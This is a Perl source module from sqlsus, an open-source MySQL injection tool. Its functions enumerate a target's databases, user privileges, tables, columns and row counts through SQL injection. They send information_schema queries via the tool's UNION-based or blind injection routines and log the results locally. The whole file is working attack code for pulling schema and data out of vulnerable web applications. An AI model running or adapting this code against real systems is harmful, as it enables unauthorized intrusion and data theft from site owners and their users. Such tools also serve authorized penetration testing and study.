package get;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use strict;
use warnings;

use constant LENGTH_URL => 1;

##################################
sub get_databases {
	&msg::info("Getting databases names");
	my @result = &select::mass_query("SELECT schema_name FROM information_schema.schemata WHERE schema_name != \"information_schema\"", 1);
	if (@result) {
		for my $db (@result) {
			if (not &db::query("SELECT * FROM databases WHERE database_name = ?", $db)) {
				&db::query("INSERT INTO databases VALUES (?,?,?,?)", $db, '','','');
			}
		}
		return 1;
	} else {
		return 0;
	}
}


################################## 
sub get_user_privileges {
	&msg::info("Getting user privileges");
	my $fill = 0;
	if (not $main::target{user}) { 
		&msg::error("Current user not defined, use \"start\" first");
		return 0;
	}
	# user privs
	my @result = &select::mass_query("SELECT privilege_type FROM $conf::tables{user_privs} WHERE grantee = \"$main::target{user}\"", 1);
	if (@result) {
		&db::query("DELETE FROM privileges WHERE grantee = ?", $main::target{user});
		for my $priv (@result) {
			&db::query("INSERT INTO privileges VALUES (?,?)", $main::target{user}, $priv);
		}
		return 1;
	} else {
		return 0;
	}
}

##################################
sub get_tables {
	&msg::info("Getting tables names");
	my @result = &select::mass_query("SELECT table_name FROM $conf::tables{tables} WHERE table_schema = BINARY \"$main::database\"", 1);
	if (@result) {
		&db::query("DELETE FROM databases WHERE database_name = ? AND table_name = '' AND column_name = ''", $main::database);
		my $dbh = DBI->connect("dbi:SQLite:dbname=$main::logdb","","",{AutoCommit => 0});
		my $sth = $dbh->prepare("INSERT INTO databases VALUES (?, ?, ?, ?)");
		for my $table (@result) {
			next if grep /^$table$/i, &db::query("SELECT table_name FROM databases WHERE database_name = ?", $main::database);
			$sth->execute($main::database, $table, '', '');
		}
		$dbh->commit();
		return 1;
	} else {
		&msg::info("No tables found for database \"$main::database\"");
		return 0;
	}
}   

##################################
sub get_count {
	my $table = shift;

	if ($table) {
		&msg::info("Getting count(*) for table $main::database.$table");
	} else {
		&msg::info("Getting count(*) for all tables");
	}
	my @tables = &db::query("SELECT DISTINCT table_name FROM databases WHERE database_name = ? AND table_name != ''", $main::database);
	if (not $table and not @tables) {
		&msg::error("Get tables first");
		return 0;
	}

	if ($table) { 
		my @result = &select::query("SELECT count(*) FROM $main::database.$table", 1);
		if (@result) {
			my $count = join ('', @result);
			if (&db::query("SELECT * FROM databases WHERE database_name = ? AND table_name = ?", $main::database, $table)) {
				&db::query("UPDATE databases SET count = ? WHERE database_name = ? AND table_name = ?", $count, $main::database, $table);
			} else {
				&db::query("INSERT INTO databases VALUES (?, ?, ?, ?)", $main::database, $table, '', $count);
			}
		}
	} else {
		my (@queries, @next_q);
		my @results;

		for my $table (@tables) {
			push @next_q, "SELECT count(*) FROM $main::database.$table";
			if ($conf::blind or &functions::length_above_max_sendable(\&select::inband_query, "SELECT (" . join ("),(", @next_q) . ")") or scalar @next_q == $conf::max_subqueries + 1) {
				push @results, &select::query("SELECT (" . join ("),(", @queries) . ")", 1);
				@queries = @next_q = "SELECT count(*) FROM $main::database.$table";
			}
			@queries = @next_q;
		}
		push @results, &select::query("SELECT (" . join ("),(",@queries) . ")", 1);

		my $dbh = DBI->connect("dbi:SQLite:dbname=$main::logdb","","",{AutoCommit => 0});
		my $sth = $dbh->prepare("UPDATE databases SET count = ? WHERE database_name = ? AND table_name = ?");

		for my $table (@tables) {
			my $count = shift @results;
			$sth->execute($count, $main::database, $table);
		}
		$dbh->commit();
	}
	return 1;
}

##################################
sub get_columns {
	my $table = shift;
	
	&db::query("DELETE FROM databases WHERE database_name = ? AND table_name = '' AND column_name = ''", $main::database);

	my @result;

	my @tables;
	if ($table) {
		push @tables, $table;
	} else {
		push @tables, &db::query("SELECT DISTINCT table_name FROM databases WHERE database_name = ? AND table_name != ''", $main::database);
	}
	# Getting tables + columns names, rather than looping through already gather tables will be faster in inband mode, so do it even if the user only requested "get columns"
	if ((@tables and $conf::blind) or (defined $table and length $table and join ('', @tables) eq $table)) {
		for my $table (@tables) {
			&msg::info("Getting columns names for $main::database.$table");
			my @col_result = &select::mass_query("SELECT LOWER(column_name) FROM $conf::tables{columns} WHERE table_schema = BINARY \"$main::database\" and table_name = BINARY \"$table\"", 1);
			if (@col_result) {
				for my $col (@col_result) {
					push @result, $table;
					push @result, $col;
				}
			} else {
				&msg::info("No columns found for $main::database.$table, does $main::database.$table exists ?");
			}
		}
	} else {
		&msg::info("Getting tables and columns names");
		# Allow get columns as an alias to get tables + get columns, since we are using this SELECT anyway...
		@result = &select::mass_query("SELECT table_name, LOWER(column_name) FROM $conf::tables{columns} WHERE table_schema = \"$main::database\"", 1);
		&msg::info("No tables found for database \"$main::database\"") unless @result;
	}
	if (@result) {
		my $dbh = DBI->connect("dbi:SQLite:dbname=$main::logdb");
		my $sth_d = $dbh->prepare("DELETE FROM databases WHERE database_name = ? AND table_name = ?");
		my $sth_i = $dbh->prepare("INSERT INTO databases VALUES (?, ?, ?, ?)");

		my @processed_tables = ();
		while (my $table = shift @result) {
			my $column = shift @result;

			my ($count) = &db::query("SELECT count FROM databases WHERE database_name = ? AND table_name = ?", $main::database, $table);
			$sth_d->execute($main::database, $table) unless grep { $_ eq $table } @processed_tables;
			$sth_i->execute($main::database, $table, $column, $count);
			push @processed_tables, $table;
		}
		return 1;
	} else { 
		return 0;
	}
} 

##################################
sub command {
	my $args = shift;
	my $ret = 0;

	if ($args !~ /(databases|priv(ilege)?s|(tables|db)|(?:columns ?(.*)|db)|(?:count ?(.*)|db))$/ ) {
		&help::usage("get");
		return 0;
	}

	if (not $conf::blind and not @conf::columns) {
		&msg::error("Columns for UNION not set, set them in the configuration file (or via \"set\") or use \"start\" first");
		return 0;
	}

	if ($args =~ /^(tables|columns|count|db)$/ ) {
		if (not $main::database) {
			&msg::error("Current database not defined, use \"start\" first");
			return 0;
		}
	}

	if ($args =~ /^databases$/) { $ret += &get_databases() }
	if ($args =~ /^priv(ilege)?s$/) { $ret += &get_user_privileges() } 
	if (($args =~ /^(tables)$/ or ($args =~ /^(db)$/ and $conf::blind))) { $ret += &get_tables(); }
	if ($args =~ /^(?:columns ?(.*)|db)$/) { $ret += &get_columns($1) }
	if ($args =~ /^db$/) { return 0 unless $ret }
	if ($args =~ /^(?:count ?(.*)|db)$/) { $ret += &get_count($1) }

	if ($ret) { 
		if ($args =~ /^(tables|columns|count.*|db)$/) {
			&show::command("db");
		} else {
			&show::command($args) 
		}
	} 

	if ($args =~ /^db$/i) { return ($ret == 3) }
	return $ret;
}

1
